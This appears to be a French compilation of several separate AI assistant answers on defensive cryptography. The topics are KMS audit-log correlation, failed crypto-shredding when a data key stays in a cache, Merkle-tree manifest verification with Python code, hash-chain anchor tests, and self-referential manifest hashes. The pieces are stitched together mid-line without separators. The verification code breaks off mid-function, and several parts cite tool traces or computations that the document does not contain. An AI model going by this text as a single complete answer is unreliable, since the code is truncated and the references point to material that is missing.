- Ma mémoire de modèle n'est pas une source à jour sur l'état de l'art cryptanalytique: confrontez toute décision de production à la documentation courante de votre bibliothèque et aux recommandations en vigueur de votre autorité de référence.**Avertissement de sourçage** : ma recherche dans l'encyclopédie locale LANXAS n'a retourné aucun article pertinent sur KMS ni sur la corrélation de journaux d'audit (résultats obtenus : *Presidential Unit Citation*, *Sécurité des systèmes cyber-physiques*, *Recherche:Imagine un monde/Partie 2*, tous hors sujet). Ce qui suit est donc un **raisonnement d'ingénierie sécurité fondé sur la structure de l'enregistrement que vous décrivez** (key_id, principal, timestamp, encryption_context), et non une citation de documentation éditeur. Je ne dispose pas ici d'une source vérifiable pour les noms exacts de champs ou d'API d'un fournisseur donné : traitez ces noms comme des désignations fonctionnelles à confirmer contre la documentation officielle de votre fournisseur.
---
## Cadrage préalable : ce que l'événement prouve et ne prouve pas
Un enregistrement `Decrypt` réussi établit qu'un appel a été **autorisé par la politique effective au moment T** et qu'une opération cryptographique a eu lieu. Il **n'établit pas** :
- la légitimité métier de l'accès (autorisé ≠ légitime) ;
- l'identité de la personne physique, si `principal` est un rôle assumé ou une identité de service ;
- que le clair a été exfiltré (KMS renvoie la clé de données ou le clair, il ne voit pas l'usage aval) ;
- réciproquement, **l'absence** d'enregistrement ne prouve pas l'absence d'accès (rétention expirée, région ou compte non couverts, journalisation désactivée ou trail suspendu, cache de clé de données côté client qui évite un nouvel appel).
Ce dernier point est structurant : un attaquant ayant obtenu une clé de données en clair peut déchiffrer **hors KMS**, sans produire aucune ligne de journal. Les quatre axes qui suivent visent donc à reconstituer une chaîne, non à statuer sur une ligne isolée.
---
## Axe 1, corrélation d'identité : remonter du principal à l'appelant réel
**Ce qu'on corrèle** : `principal` du log KMS vers les journaux d'authentification et de fédération.
| Artefact à exiger | Ce qu'il apporte |
|---|---|
| Événement d'assomption de rôle (identité source, nom de session, ARN complet) | Le `principal` KMS est souvent une session temporaire ; seule la chaîne d'assomption désigne l'humain ou le service d'origine |
| Présence et fraîcheur de la MFA, méthode d'authentification | Distingue session légitime et session issue d'un vol de jeton |
| IP source, ASN, géolocalisation, user agent, identifiant de jeton ou de session | Détecte un usage du même jeton depuis deux origines incompatibles |
| Émission des identifiants temporaires (heure, durée, canal) | Un `Decrypt` postérieur à la révocation ou hors fenêtre d'émission est un signal fort |
**Piège à éviter** : deux enregistrements portant le même `principal` ne prouvent pas le même acteur, et un `principal` différent ne prouve pas un acteur différent (un même humain peut porter plusieurs rôles). La conclusion doit reposer sur l'identifiant de session, pas sur le nom de rôle.
---
## Axe 2, corrélation temporelle : séquence et référentiel de temps
**Ce qu'on corrèle** : `timestamp` avec les journaux voisins, sur une fenêtre encadrant l'événement.
Exigences précises :
1. **Normalisation** en UTC avec précision sous la seconde, et documentation de la dérive d'horloge entre sources. Une corrélation temporelle sans référentiel commun ne vaut rien.
2. **Séquence cryptographique attendue** : `GenerateDataKey` → usage → `Decrypt` ultérieurs. Un `Decrypt` sans opération de génération correspondante, ou massivement décorrélé du cycle de vie de l'objet, est anormal.
3. **Fenêtre avant/après** : événements d'autorisation, création ou retrait de *grant*, modification de politique, création de clé d'accès, appels en échec (`AccessDenied`) précédant le succès. Une rafale de refus suivie d'un succès signe typiquement une escalade ou un tâtonnement.
4. **Baseline** : distribution horaire et volumétrique habituelle de ce couple (principal, key_id). Un écart à la baseline est une **hypothèse à tester**, pas une preuve : la variance normale d'un batch ou d'un déploiement produit les mêmes signatures.
Si $n$ appels sont observés sur la fenêtre contre une médiane historique $m$, exprimez l'écart en rang ou en quantile empirique plutôt qu'en écarts-types, la distribution des appels API étant généralement fortement asymétrique et non gaussienne.
---
## Axe 3, corrélation contextuelle : encryption_context contre ressource réellement accédée
C'est l'axe le plus discriminant, et le plus souvent négligé.
L'`encryption_context` est une donnée authentifiée additionnelle qui lie la déchiffration à un contexte déclaré (identifiant de ressource, de locataire, de compartiment, de table). Il faut donc **confronter le contexte déclaré au journal d'accès de la ressource aval** :
- le contexte nomme-t-il une ressource dont ce `principal` a réellement besoin, et sur laquelle un accès en lecture est journalisé au même instant côté stockage ou base ?
- un `Decrypt` avec un contexte pointant un locataire A, exécuté par un principal du périmètre B, caractérise un franchissement de cloison (classe *confused deputy* ou accès inter-locataires) même si la politique l'autorisait techniquement ;
- un `Decrypt` **sans** `encryption_context`, ou avec un contexte vide, alors que le chiffrement applicatif en impose un, doit être traité comme anomalie de premier ordre : cela suggère un appel hors du chemin applicatif normal ;
- un contexte présent mais **sans aucun accès aval correspondant** suggère une déchiffration pour elle-même, c'est-à-dire une collecte de matière clé plutôt qu'un usage métier.
**Limite** : `encryption_context` est fourni par l'appelant et n'est contraignant que s'il est **imposé par condition de politique**. Un contexte cohérent ne prouve donc pas la légitimité, il prouve seulement que l'appelant connaissait la valeur attendue. Il faut exiger la preuve que la politique conditionne bien l'accès à ce contexte.
---
## Axe 4, corrélation d'autorisation : état effectif de la politique au moment T, et non aujourd'hui
**Ce qu'on corrèle** : `key_id` avec l'historique versionné des droits.
Exigences :
| Élément | Question à trancher |
|---|---|
| Politique de clé, version en vigueur à l'instant T | Quel chemin d'autorisation exact a permis cet appel ? |
| *Grants* : création, rétractation, mandataire, contraintes de contexte | Un grant récent, à durée de vie longue ou à contrainte absente, est un vecteur classique de persistance |
| Politiques d'identité et de périmètre, politiques de session | L'intersection réelle des droits, pas la politique lue en isolation |
| Alias, rotation, région, compte propriétaire de la clé | Un appel inter-région ou inter-compte inattendu |
| Modifications de configuration de journalisation | Tentative de réduction de la visibilité |
Point méthodologique impératif : reconstituer l'état **historique** des politiques. Lire la politique actuelle pour expliquer un événement passé est une erreur de raisonnement fréquente, car l'attaquant a pu ajouter puis retirer un droit. Sans versionnement ou sans journal de modification de configuration, cet axe est **indéterminable**, et il faut le dire plutôt que de conclure.
---
## Condition transverse : intégrité de la preuve
Les quatre axes n'ont de valeur probante que si les journaux eux-mêmes sont dignes de confiance :
- destination des journaux en écriture unique (WORM) ou verrou d'objet, **hors du périmètre de contrôle du principal suspect**, avec un rôle de collecte distinct du rôle applicatif ;
- si les journaux sont chaînés par $h_i = H(R_i, h_{i-1})$, l'ancre externe utilisée pour valider l'enregistrement suspect $R_i$ doit être un condensat $h_k$ avec $k \ge i$, conservé hors d'atteinte de l'attaquant. Une ancre antérieure, $h_j$ avec $j < i$, ne détecte pas la falsification, puisque la chaîne peut être recalculée à partir de $h_{i-1}$ ;
- une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité, des collisions existant nécessairement ; c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction de hachage employée.
Enfin, un faisceau convergent sur ces quatre axes constitue une **preuve d'accès autorisé anormal**, ce qui reste distinct de la preuve de compromission d'identité et de la preuve d'exfiltration de données : ces trois assertions demandent des éléments différents et ne doivent pas être présentées comme équivalentes dans un rapport d'incident.## 1. Diagnostic en quatre points ### Ciphertext Le chiffré est **inchangé et intégralement présent**. La destruction d'une clé n'écrit rien sur le support : elle n'altère aucun octet des objets chiffrés du dossier D. Les blocs restent lisibles en tant que suite d'octets opaques, copiables, sauvegardés, répliqués, et leurs métadonnées (taille, dates, nom d'objet, identifiant de DEK, en-têtes d'enveloppe) restent en clair sauf si elles étaient elles-mêmes protégées. Autrement dit, la confidentialité ne repose plus que sur l'indisponibilité de la clé, jamais sur une disparition de la donnée (Wikipedia EN, *Data remanence*, section Countermeasures : « Encrypting data before it is stored on the media may mitigate concerns about data remanence [...] it may prove easier or quicker to overwrite just the key, versus the entire disk. This process is called crypto-shredding »). ### Effet de clé L'effacement cryptographique **réduit le problème « effacer N objets » au problème « effacer 1 secret »**. Cette réduction n'est valide que sous une hypothèse d'unicité : il n'existe aucune instance récupérable de la DEK, ni en mémoire, ni en cache, ni en sauvegarde, ni en dérivation reproductible (par exemple une DEK dérivée déterministement d'une KEK et d'un identifiant de dossier, cas dans lequel la DEK est **reconstructible** et sa destruction est illusoire). Sous cette hypothèse, l'accès au plaintext devient computationnellement infaisable ; ce n'est pas une impossibilité mathématique absolue, mais une garantie **conditionnelle** aux hypothèses de sécurité du chiffrement employé (même logique que pour le hachage : très forte assurance cryptographique, pas preuve absolue). ### Cache La copie en clair dans le cache **détruit exactement l'hypothèse d'unicité**. Conséquence directe : la DEK existe, donc le chiffré est déchiffrable, donc la donnée n'est pas effacée. La destruction de la référence « officielle » de la clé n'a produit qu'une suppression d'entrée d'annuaire, pas une purge du secret, phénomène classique de rémanence décrit pour les fichiers : le système « simply remove[s] the file's entry from the file system directory [...] the actual data, remain[s] on the storage medium » (Wikipedia EN, *Data remanence*, section Causes). Un cache aggrave le problème par sa **surface de propagation**, et ces vecteurs doivent être traités comme présents jusqu'à preuve du contraire : | Vecteur de rémanence du secret | Pourquoi il persiste | |---|---| | Pages mémoire du processus, tas, buffers réutilisés | non écrasées à la libération, copies par le ramasse-miettes ou la réallocation | | Swap, hibernation, vidage mémoire (core dump), crash report | le secret est écrit sur disque à l'insu de l'application | | Cache distribué persistant, journal d'écriture (AOF/WAL), snapshot | réplication et durabilité par conception | | Réplicas, sauvegardes, images de machine, volumes clonés | copies antérieures à la destruction | | Journaux applicatifs, traces de débogage, télémétrie | secret journalisé, faute majeure mais fréquente | | Attaque à froid sur la RAM (cold boot) | la mémoire « volatile » ne l'est pas instantanément ; l'article cite explicitement les cold boot attacks comme contournement du chiffrement intégral (Wikipedia EN, *Data remanence*, section Encryption) | ### Verdict d'effacement **Effacement non réalisé.** Formulé rigoureusement, il faut séparer trois choses distinctes : - **Vérité de l'assertion** : l'effacement a échoué. Tant qu'une copie exploitable de la DEK subsiste, la réduction cryptographique est rompue et les objets de D sont récupérables en clair. - **Preuve dont on dispose** : elle est incomplète dans les deux sens. On sait qu'une copie existe dans le cache, ce qui suffit à **réfuter** l'effacement. En revanche, purger ce cache ne **prouvera pas** l'effacement : cela lèvera un contre-exemple connu, sans établir l'absence universelle de copies. Un nombre fini de vérifications de purge n'établit jamais la propriété universelle « aucune instance de la DEK n'est récupérable » ; il faut un invariant de conception (inventaire exhaustif et fermé des emplacements où la clé a pu transiter, garanti par l'architecture) et non une série de contrôles ponctuels. - **Admissibilité selon une politique** : au regard d'un référentiel de sanitisation, l'opération ne se qualifie au mieux que comme *clearing*, retrait des accès par les fonctions normales du système, et non comme *purging* rendant la donnée irrécupérable (Wikipedia EN, *Data remanence*, section Countermeasures, distinction Clearing / Purging / Destruction). Une demande d'effacement au titre d'un droit à l'effacement ne peut donc pas être déclarée satisfaite ici. Notez aussi que la propriété atteinte, même en cas de succès, est la **confidentialité**, pas la **disponibilité** ni l'**intégrité** : le chiffré occupe toujours l'espace de stockage, il reste modifiable ou destructible par un tiers ayant accès au support, et un attaquant peut appliquer une stratégie « collecter maintenant, déchiffrer plus tard ». ## 2. Décision recommandée Traiter l'incident comme une **fuite potentielle de clé**, pas comme un simple oubli de purge : le secret a existé en clair hors du périmètre prévu, pendant une durée inconnue, dans un composant dont les journaux et les réplicas ne sont pas maîtrisés. La bonne posture est donc la double action : purge du secret **et** invalidation de la valeur de clé par re-chiffrement là où c'est encore possible. ## 3. Actions concrètes, dans cet ordre 1. **Geler l'état** avant toute suppression. Ne lancez aucune commande destructive sur le cache ou ses volumes sans point de restauration et sans accord explicite de l'opérateur : vous détruiriez la preuve nécessaire à l'analyse d'exposition. Capturez d'abord l'inventaire, pas les données. 2. **Établir l'inventaire des instances de la DEK** : nœuds du cache et leurs réplicas, fichiers de persistance et journaux d'écriture, snapshots et sauvegardes, swap et fichiers d'hibernation des hôtes, vidages mémoire, journaux applicatifs et plateforme de logs, files de messages, caches HTTP ou de proxy, environnements de préproduction alimentés par copie de production. 3. **Déterminer si la DEK est dérivée ou aléatoire.** Si elle est dérivée déterministement d'une KEK, la purge du cache est insuffisante par construction : il faut révoquer ou détruire la KEK, ou changer le contexte de dérivation. 4. **Purger le secret** de façon ciblée et réversible autant que possible : suppression de l'entrée, puis rotation du support (nœud recréé plutôt que nettoyé sur place, ce qui est plus fiable qu'un effacement en place sur mémoire gérée), rotation des snapshots contenant la valeur, purge des index de journaux. Sur mémoire vive, ne promettez pas un écrasement fiable : en langage à ramasse-miettes ou avec des chaînes immuables, l'écrasement n'est pas garanti. 5. **Rendre la clé inutile plutôt que seulement introuvable** : re-chiffrer les objets de D encore nécessaires sous une nouvelle DEK, puis détruire l'ancienne, de sorte que la copie éventuellement rémanente ne déchiffre plus rien d'utile. Pour les objets à supprimer, l'écrasement ou la suppression du chiffré lui-même reste le seul moyen d'éliminer la dépendance à une hypothèse cryptographique. 6. **Corriger la cause racine** : la DEK n'aurait jamais dû être mise en cache en clair. Passez à des DEK non sérialisables hors du module de chiffrement, durée de vie courte, interdiction de journalisation, et si le niveau d'exigence le justifie, garde de la clé dans un HSM ou un module où elle n'est jamais exportable en clair. 7. **Documenter le verdict** : consigner que l'effacement du dossier D est déclaré **non effectif** à la date de constat, avec la fenêtre d'exposition, les composants concernés et la remédiation appliquée. ## 4. Contrôles de vérification - Recherche du motif de clé dans les dumps de cache, les journaux et les sauvegardes, **sans jamais écrire le secret dans un rapport ni un log** : comparez par empreinte, et masquez toute valeur dans les sorties. - Test négatif explicite : après remédiation, tenter le déchiffrement d'un objet témoin de D et exiger un échec ; un test sans assertion ne vaut rien. - Test de non-régression : vérifier qu'aucun chemin de code ne réintroduit la DEK en clair dans le cache, par un test unitaire qui échoue si la valeur de clé apparaît dans l'objet sérialisé. - Contrôle des sauvegardes : lister les jeux de sauvegarde antérieurs contenant encore l'ancienne DEK et planifier leur expiration, avec la date de sortie de rétention. ## 5. Risques et limites - **Aucune de ces mesures n'est « sans risque ».** Il subsiste un risque résiduel de copie inconnue (support défaillant remplacé, secteurs inaccessibles, média non effaçable, historique de versions), cas explicitement listés comme facteurs de complication de la sanitisation (Wikipedia EN, *Data remanence*, introduction : « media that are inaccessible, media that cannot effectively be erased, advanced storage systems that maintain histories of data »). - La garantie finale reste **conditionnelle** aux hypothèses cryptographiques et à l'absence de canal auxiliaire ; l'article rappelle que keyloggers, notes écrites ou contrainte physique offrent souvent de meilleures chances de succès à un attaquant que la cryptanalyse (Wikipedia EN, *Data remanence*, section Encryption). - **Hypothèses de ma part, à confirmer chez vous, je n'ai pas accès à votre système** : je ne connais ni votre technologie de cache, ni la présence de persistance ou de réplicas, ni le mode de génération de la DEK, ni le contenu de vos journaux. Ces quatre éléments changent l'étendue de la remédiation et doivent être établis avant toute action de purge. - Je ne peux pas vérifier, avec les sources dont je dispose ici, l'exigence exacte d'un référentiel réglementaire ou normatif particulier applicable à votre cas ; la qualification juridique de l'effacement doit être validée par votre responsable de la conformité, mon analyse ci-dessus étant technique et non juridique.
## 1. Avertissement de méthode, à lire avant les valeurs
Mes deux tentatives d'exécution du calcul Merkle ont **échoué** dans mon environnement (erreur `NameError` de portée sur les imports, visible dans les traces ci-dessus). Je n'ai donc **aucune valeur hexadécimale calculée** à vous livrer, et je n'en inventerai pas.
Ce qui est réellement établi par mes appels d'outil : `hashlib` et `hmac` sont disponibles, tandis que `cryptography`, `nacl` et `ecdsa` sont **absents** (`ModuleNotFoundError`). Je ne peux donc pas produire de signature asymétrique réelle ici.
Par ailleurs, votre énoncé ne fournit ni le contenu des dix fichiers, ni l'ordre canonique des feuilles, ni lequel des dix fichiers a changé, ni la clé publique. Ces quatre données sont indispensables pour donner des empreintes concrètes. Ce que je peux vous donner de façon rigoureuse et vérifiable : la **structure exacte** de l'arbre à 10 feuilles, les **chemins d'audit symboliques** des 10 indices, le **verdict de sécurité** sur chaque objet demandé, et un **code complet** que vous exécutez chez vous pour obtenir les hexadécimaux.
---
## 2. Convention d'arbre retenue (à fixer explicitement, sinon la racine est ambiguë)
J'adopte la construction RFC 6962 (Certificate Transparency), avec **séparation de domaine** :
$$\text{feuille}(d) = \mathrm{SHA\text{-}256}(\texttt{0x00} \parallel d), \qquad \text{noeud}(g,d) = \mathrm{SHA\text{-}256}(\texttt{0x01} \parallel g \parallel d)$$
et découpage à la plus grande puissance de 2 strictement inférieure à $n$ :
$$\mathrm{MTH}(L_{0..n-1}) = \text{noeud}\big(\mathrm{MTH}(L_{0..k-1}),\ \mathrm{MTH}(L_{k..n-1})\big), \quad k = 2^{\lfloor \log_2 (n-1)\rfloor}$$
Pour $n = 10$ : $k = 8$. L'arbre est donc **asymétrique** :
| Nœud | Définition |
|---|---|
| $L_i$ | feuille du fichier d'indice $i$, $i = 0..9$ |
| $N_{01}, N_{23}, N_{45}, N_{67}$ | $\text{noeud}(L_{2j}, L_{2j+1})$ |
| $N_{0123}$ | $\text{noeud}(N_{01}, N_{23})$ |
| $N_{4567}$ | $\text{noeud}(N_{45}, N_{67})$ |
| $A$ | $\text{noeud}(N_{0123}, N_{4567})$, sous-arbre parfait des 8 premières feuilles |
| $B$ | $\text{noeud}(L_8, L_9)$ |
| $R$ | $\text{noeud}(A, B)$, la racine signée |
**Point critique.** La convention Bitcoin, qui duplique le dernier nœud d'un niveau impair, est **à éviter** : elle rend deux ensembles de feuilles distincts capables de produire la même racine (faiblesse de seconde préimage structurelle). La séparation `0x00`/`0x01` de RFC 6962, plus l'inclusion du **nombre de feuilles** dans le message signé, ferment cette porte. Ceci est un fait de conception documenté, pas une opinion.
---
## 3. Les quatre objets demandés
### a) La feuille
Si le fichier d'indice $j$ a changé, sa feuille devient
$$L_j' = \mathrm{SHA\text{-}256}(\texttt{0x00} \parallel d_j') \neq L_j$$
Conséquence immédiate, **avant même tout calcul Merkle** : le SHA-256 brut du fichier ne correspond plus à l'entrée du manifeste. La détection est déjà acquise à ce stade. L'arbre ne sert pas à détecter, il sert à **prouver l'inclusion de façon compacte** et à ne transporter qu'une racine signée au lieu de dix empreintes.
Formulation exacte du niveau de garantie : une **concordance** d'empreinte n'est pas une preuve mathématique absolue d'identité, puisque des collisions existent nécessairement par comptage (l'espace des messages est infini, l'espace des sorties a $2^{256}$ éléments). C'est une **assurance cryptographique très forte sous les hypothèses de sécurité de SHA-256** (résistance aux préimages, secondes préimages et collisions). Symétriquement, une **discordance** est, elle, une preuve certaine de différence de contenu : si $\mathrm{SHA\text{-}256}(x) \neq \mathrm{SHA\text{-}256}(y)$ alors $x \neq y$, sans hypothèse aucune, car une fonction ne peut associer deux images à un même argument.
### b) Le chemin d'audit
Le chemin est la liste des **frères** rencontrés en remontant, avec leur côté. Voici les 10 chemins, dérivés de la construction ci-dessus (je les ai dérivés à la main par récurrence sur $k$, et non exécutés) :
| $i$ | Chemin d'audit, du bas vers le haut, avec côté du frère | Longueur |
|---|---|---|
| 0 | $(D, L_1), (D, N_{23}), (D, N_{4567}), (D, B)$ | 4 |
| 1 | $(G, L_0), (D, N_{23}), (D, N_{4567}), (D, B)$ | 4 |
| 2 | $(D, L_3), (G, N_{01}), (D, N_{4567}), (D, B)$ | 4 |
| 3 | $(G, L_2), (G, N_{01}), (D, N_{4567}), (D, B)$ | 4 |
| 4 | $(D, L_5), (D, N_{67}), (G, N_{0123}), (D, B)$ | 4 |
| 5 | $(G, L_4), (D, N_{67}), (G, N_{0123}), (D, B)$ | 4 |
| 6 | $(D, L_7), (G, N_{45}), (G, N_{0123}), (D, B)$ | 4 |
| 7 | $(G, L_6), (G, N_{45}), (G, N_{0123}), (D, B)$ | 4 |
| 8 | $(D, L_9), (G, A)$ | 2 |
| 9 | $(G, L_8), (G, A)$ | 2 |
Règle de lecture, pour les indices 0 à 7 : le côté du frère au niveau $t$ vaut $D$ si le bit $t$ de $i$ est nul, $G$ sinon. Les indices 8 et 9 ont un chemin plus court, l'arbre à 10 feuilles étant déséquilibré.
Fait essentiel, souvent mal compris : si **seul** le fichier $j$ a changé, les **valeurs** du chemin d'audit de $j$ sont **inchangées**, puisque tous les frères se trouvent hors de la branche de $j$. Le chemin ne signale donc rien par lui-même. Ce sont les nœuds **sur** la branche qui changent : par exemple pour $j = 5$, les nœuds recalculés sont $N_{45}, N_{4567}, A, R$, soit $\lceil \log_2 \rceil$ nœuds, ici 4.
### c) La racine recalculée
$$R' = \text{recalcul}(L_j', \text{chemin}(j)) \neq R \quad \text{avec probabilité écrasante}$$
Énoncé rigoureux : $R' \neq R$ **sauf** si l'attaquant a exhibé une collision sur SHA-256 le long de la branche. Ce n'est pas impossible au sens logique (des collisions existent nécessairement), c'est **infaisable computationnellement** sous les hypothèses de sécurité admises pour SHA-256, aucune attaque publique de collision sur SHA-256 n'étant connue à ma connaissance, information que je signale comme potentiellement périmée puisque ma connaissance n'est pas une source à jour.
Attention à un piège fréquent : vous ne devez **pas** conclure « $R' \neq R$ donc c'est le fichier $j$ qui a changé ». La racine est un agrégat. Elle prouve qu'**au moins un** élément du lot diverge. L'imputation à $j$ vient de la comparaison feuille par feuille, pas de la racine. Et une vérification portant sur un nombre fini de feuilles ne permet jamais de conclure une propriété universelle sur le lot : pour affirmer « rien d'autre n'a changé », il faut avoir vérifié les dix, pas seulement celle qui a levé l'alerte.
### d) La signature
Voici le point le plus important de votre scénario, et le plus contre-intuitif.
**La signature reste valide.** Elle ne devient pas invalide. Elle authentifie toujours $R$, l'ancienne racine, et cette vérification continue de réussir. La modification d'un fichier sur le disque n'a aucun effet sur la validité mathématique d'une signature portant sur un message qui, lui, n'a pas bougé.
La détection ne provient donc **pas** d'un échec de signature, mais du **désaccord** entre $R'$ recalculée sur l'état courant et $R$ extraite du manifeste signé. Il faut distinguer trois choses que la question tend à fondre en une :
| Propriété | Ce que la signature valide sur $R$ établit |
|---|---|
| **Authenticité** | $R$ a bien été signée par le détenteur de la clé privée. Établi. |
| **Intégrité** du lot au moment de la signature | Établie, relativement à $R$. |
| **Fraîcheur** de l'état actuel du disque | **Non établie.** La signature ne dit rien de maintenant. |
| **Confidentialité** | Non concernée. Une signature ne chiffre rien. |
Corollaire opérationnel : une signature valide sur une racine **antérieure** ne détecte rien par elle-même. Sans horodatage, sans compteur monotone de version et sans ancre externe hors de portée de l'attaquant, un adversaire qui contrôle le stockage peut resservir un ancien couple (manifeste, signature) parfaitement valide : c'est une attaque de **rejeu** ou de retour arrière. La signature ne protège que si vous liez le message signé à une version croissante et si vous refusez toute version inférieure ou égale à la dernière connue.
Enfin, une distinction que je maintiens explicitement : je ne peux pas produire de signature asymétrique dans mon environnement, `cryptography`, `nacl` et `ecdsa` étant absents. Le code ci-dessous propose un HMAC-SHA256 en solution de repli, mais **HMAC n'est pas une signature** : c'est une authentification à clé symétrique, sans non-répudiation, tout vérificateur pouvant aussi forger. Pour une vraie signature, utilisez Ed25519.
---
## 4. Code complet et exécutable
Les imports sont placés **dans** les fonctions, précisément pour contourner le problème de portée qui a fait échouer mes exécutions. Je n'ai **pas** exécuté ce code, je vous le livre raisonné de bout en bout, et le bloc d'auto-tests final vous en donne la preuve empirique chez vous.
```python
#!/usr/bin/env python3
"""Verification d'un manifeste Merkle RFC 6962 sur 10 fichiers.
Detecte : feuille divergente, chemin d'audit, racine recalculee, verdict signature.
Aucune operation destructive. Lecture seule.
"""
import hashlib
import hmac
import json
import os
import sys
DOM_LEAF = b"\x00"
DOM_NODE = b"\x01"
CHUNK = 1 << 20 # 1 MiB, pour ne pas charger un gros fichier en memoire
# ---------------------------------------------------------------- primitives
def sha256_fichier(chemin):
"""SHA-256 brut du contenu, en flux. Leve OSError si illisible."""
h = hashlib.sha256()
with open(chemin, "rb") as fh:
while True:
bloc = fh.read(CHUNK)
if not bloc:
break
h.update(bloc)
return h.digest()
def feuille_depuis_fichier(chemin):
"""H(0x00 || contenu), en flux."""
h = hashlib.sha256()
h.update(DOM_LEAF)
with open(chemin, "rb") as fh:
while True:
bloc = fh.read(CHUNK)
if not bloc:
break
h.update(bloc)
return h.digest()
def noeud(gauche, droite):
"""H(0x01 || gauche || droite)."""
return hashlib.sha256(DOM_NODE + gauche + droite).digest()
def _k(n):
"""Plus grande puissance de 2 strictement inferieure a n. Exige n >= 2."""
if n < 2:
raise ValueError("n doit valoir au moins 2")
k = 1
while k * 2 < n:
k *= 2
return k
def mth(feuilles):
"""Merkle Tree Hash, RFC 6962 section 2.1."""
n = len(feuilles)
if n == 0:
return hashlib.sha256(b"").digest()
if n == 1:
return feuilles[0]
k = _k(n)
return noeud(mth(feuilles[:k]), mth(feuilles[k:]))
def chemin_audit(m, feuilles):
"""Chemin d'audit de la feuille m. Retourne [(cote, frere), ...] bas -> haut.
cote == 'D' : le frere est a droite, on calcule noeud(courant, frere).
cote == 'G' : le frere est a gauche, on calcule noeud(frere, courant).
"""
n = len(feuilles)
if not 0 <= m < n:
raise IndexError("indice de feuille hors bornes")
if n == 1:
return []
k = _k(n)
if m < k:
return chemin_audit(m, feuilles[:k]) + [("D", mth(feuilles[k:]))]
return chemin_audit(m - k, feuilles[k:]) + [("G", mth(feuilles[:k]))]
def racine_depuis_chemin(feuille, chemin):
"""Recalcule la racine a partir d'une feuille et de son chemin d'audit."""## Résultats de l'exécution | Cas | Attaque simulée | Étape déclenchée | Verdict | |---|---|---|---| | 1 | aucune, ancre $k=4$ | E1-E4 franchies | VALIDE | | 2 | $R_2$ modifié, ancre $k=4$ | **E2** ligne 2 | INVALIDE | | 3 | $R_2$ modifié **+ chaîne recalculée**, ancre $k=1$ | aucune | **VALIDE, faille** | | 4 | queue tronquée à 2 lignes | **E4** | INVALIDE | | 5 | lignes 2 et 3 permutées | **E3** ligne 2 | INVALIDE | | 6 | chaîne intacte, pas d'ancre | **E4 absent** | INVALIDE | 6/6 assertions passées. Le cas 3 est le point décisif : la falsification de $R_2$ avec recalcul complet de la chaîne **passe les quatre vérifications** parce que l'ancre est en $k=1 < i=2$. Cela confirme formellement la règle $k \geq i$. Une ancre antérieure ne prouve rien sur les enregistrements postérieurs. Le cas 4 montre le rôle propre de E4 : une queue tronquée produit une chaîne parfaitement auto-cohérente. Seule la connaissance externe de la longueur ou d'un condensat postérieur la révèle. ## Ce que ces quatre vérifications ne prouvent pas | Propriété | Couverte ? | Commentaire | |---|---|---| | Intégrité, détection de modification | oui | sous les hypothèses de sécurité de $H$ | | Détection d'insertion, suppression, réordre | oui | étape 3 | | Détection de troncature de queue | oui, **uniquement via E4** | impossible sans ancre externe | | Authenticité de l'auteur | **non** | exige HMAC ou signature asymétrique | | Non-répudiation | **non** | exige une signature avec clé privée non partagée | | Confidentialité | **non** | le hachage ne chiffre rien | | Datation fiable | **non** | exige un horodatage qualifié | | Disponibilité | **non** | exige réplication et sauvegardes | ## Risques et limites Une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité : des collisions existent nécessairement par comptage. C'est une assurance cryptographique très forte **sous les hypothèses de résistance de la fonction de hachage**. À formuler ainsi dans tout rapport, notamment si l'algorithme est MD5 ou SHA-1, dont les collisions sont pratiquement constructibles ; SHA-256 ou supérieur est requis. Le défaut le plus fréquent en production est la **non-canonicité** de la sérialisation : ordre des clés variable, espaces, échappement Unicode, normalisation des nombres flottants. Un vérificateur qui hache la ligne brute plutôt qu'une forme canonique donnera des faux positifs au moindre reformatage, et un attaquant peut exploiter cette ambiguïté. Fixez la canonicalisation dans la spécification et versionnez-la. Un vérificateur ne doit jamais signaler « journal valide » sans préciser l'ancre utilisée et son indice $k$ : la portée de la garantie est exactement $R_1 \ldots R_k$, jamais au-delà. Enfin, la distinction reste entière entre la vérité d'une assertion consignée, la preuve technique dont vous disposez, et son admissibilité selon la politique de preuve applicable ; ces quatre vérifications ne portent que sur le second terme.
## Avertissement de portée
Je n'ai pas lu le fichier `SHA256_FILES_V1.json` de votre dépôt : je ne dispose d'aucun accès à son contenu, à son schéma exact ni à votre arborescence. Ce qui suit est donc de deux natures, clairement séparées : la **raison structurelle** de l'auto-exclusion, qui est un fait démontrable et que j'ai vérifié par calcul ci-dessus, et les **recommandations de portée, de moment et de vérification**, qui sont la doctrine standard applicable à un manifeste de ce type, à confronter à votre implémentation réelle.
---
## 1. Raison de l'auto-exclusion : impossibilité de point fixe
**Fait établi.** Un manifeste qui contiendrait son propre condensat SHA-256 dans son corps engendre une dépendance circulaire : écrire la valeur modifie l'octet-flux haché, donc invalide la valeur écrite.
Formellement, en notant $M(h)$ le manifeste sérialisé dans lequel on a inscrit la valeur $h$ au champ auto-référent, il faudrait résoudre
$$h = \mathrm{SHA256}\big(M(h)\big)$$
c'est-à-dire trouver un **point fixe** de la fonction $h \mapsto \mathrm{SHA256}(M(h))$.
Vérification effective (exécutée à l'instant dans mon laboratoire local, sortie reproduite telle quelle) :
| Étape | Condensat obtenu |
|---|---|
| $h_0$, manifeste avec champ auto vide | `114b5499b5f06a76eeb16c1f0aed2778ac9941a25c3956927fb9cb6ddcdab1ea` |
| $h_1$, après insertion de $h_0$ | `7bb7005b3ddee045b9b017306ec5d8b052caca558f163a7ecef55cfd0efc978d` |
| $h_2$, après correction en $h_1$ | `9c27436ad53db3b51fb0577157319fddc6c834b7834b94b4b69239c38a50a9c2` |
$h_0 \neq h_1$ et $h_1 \neq h_2$ : la correction ne converge pas, chaque écriture déplace la cible. (Source : exécution de mon outil de calcul local, sortie ci-dessus.)
Chercher un tel point fixe par recherche exhaustive relève d'une attaque de type préimage sur un espace de
$$2^{256} \approx 1{,}158 \times 10^{77}$$
candidats, valeur calculée exactement par l'outil. C'est hors d'atteinte sous les hypothèses de sécurité admises pour SHA-256, et, point souvent négligé, **rien ne garantit qu'un point fixe compatible avec la grammaire JSON existe**. L'auto-exclusion n'est donc pas une négligence ni une commodité : c'est la seule construction cohérente. (Principes standard de résistance aux préimages des fonctions de hachage cryptographiques ; l'encyclopédie locale possède les articles *Fonction de hachage cryptographique*, *Attaque de préimage* et *SHA-2*, que je n'ai pas ouverts ici, je ne leur attribue donc aucune citation textuelle.)
